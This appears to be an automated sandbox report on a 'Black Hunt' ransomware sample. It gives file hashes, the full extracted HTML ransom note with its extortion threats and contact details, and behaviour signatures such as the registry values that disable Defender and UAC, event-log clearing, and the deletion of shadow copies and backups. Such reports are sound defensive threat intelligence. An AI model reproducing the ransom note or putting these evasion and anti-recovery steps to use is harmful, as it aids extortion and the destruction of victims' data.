7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb

Analysis

max time kernel
179s
max time network
170s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
18/01/2024, 23:54

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General

Target

7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
Size

707KB
MD5

050c63191280ddb539b8175a7638828a
SHA1

95d84dc1722a532d05190d5a39e1164c992ea098
SHA256

7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb
SHA512

1917817ca31a04b98f0ff90f79f4dd8984410287849ecc43c096b89a0df176f01a092c407f9bdf0d1280394186fdd419930da9fd0640296f3d78476ab31186a4
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1x8Evnh:6uaTmkZJ+naie5OTamgEoKxLWk6h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

F:\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> ZTkdH5AhG3h36FwF </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
3064	fsutil.exe
2752	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
816	wevtutil.exe
4268	wevtutil.exe
5048	wevtutil.exe
1384	wevtutil.exe
3208	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
6140	bcdedit.exe
548	bcdedit.exe
3728	bcdedit.exe
4208	bcdedit.exe

Renames multiple (345) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
5372	wbadmin.exe
3692	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\M:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\S:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\G:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\J:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\T:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\A:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\K:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\Z:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\U:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\P:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\X:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\V:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\Y:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\L:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\E:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\I:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\N:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\O:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\H:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\B:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\Q:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened (read-only)	\??\R:	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\#BlackHunt_ReadMe.hta	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\bcel.md	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\jpeg.md	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\sa-jdi.jar	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\giflib.md	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_pt_BR.properties	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\localedata.jar	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\US_export_policy.jar	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\libxslt.md	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\relaxngdatatype.md	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_ReadMe.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\Java\jre-1.8\lib\fonts\#BlackHunt_ReadMe.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\COPYRIGHT	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\#BlackHunt_ReadMe.hta	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_ReadMe.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\Java\jre-1.8\lib\fonts\#BlackHunt_Private.key	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\#BlackHunt_Private.key	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_ReadMe.hta	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gl.txt	7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe
